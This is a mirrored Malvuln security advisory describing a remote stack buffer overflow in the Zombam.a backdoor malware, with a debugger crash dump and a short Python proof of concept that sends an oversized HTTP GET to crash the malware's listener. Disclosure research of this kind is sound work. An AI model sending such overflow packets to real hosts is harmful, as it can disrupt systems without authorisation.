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Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010101

Below is a copy:

BACKDOOR.WIN32.ZOMBAM.A / Remote Stack Buffer Overflow
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6c5081e9b65a52963b0b1ae612ef7eb4.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 80, sending an HTTP GET request with 300 or more bytes will trigger buffer overflow overwriting EIP.
Type: PE32
MD5: 6c5081e9b65a52963b0b1ae612ef7eb4
Vuln ID: MVID-2021-0022
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/11/2021

Memory Dump:
0:004> .ecxr
eax=00000000 ebx=03f90350 ecx=852341b4 edx=00000000 esi=047efb55 edi=047efc8b
eip=41414141 esp=047efab8 ebp=047eff80 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???

FAULTING_IP: 
+24
41414141 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141 

FOLLOWUP_IP: 
+24
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+24
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  BAD_INSTRUCTION_PTR_STACKIMMUNE

DEFAULT_BUCKET_ID:  BAD_INSTRUCTION_PTR_STACKIMMUNE

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe+0x0


STACK_COMMAND:  .cxr 00000000047EF658 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  BAD_INSTRUCTION_PTR_STACKIMMUNE_c0000005_unknown!Unloaded

BUCKET_ID:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_unknown!backdoor.win32.zombam.a.6c5081e9b65a52963b0b1ae612ef7eb4.exe


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=80

PACKET="GET /"+"A"*300+"HTTP/1.0\r\nHost: "+MALWARE_HOST
    
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PACKET)
s.close()
print("Backdoor.Win32.Zombam.a / Remote Stack Buffer Overflow")
print("MD5: 6c5081e9b65a52963b0b1ae612ef7eb4")
print("By Malvuln")


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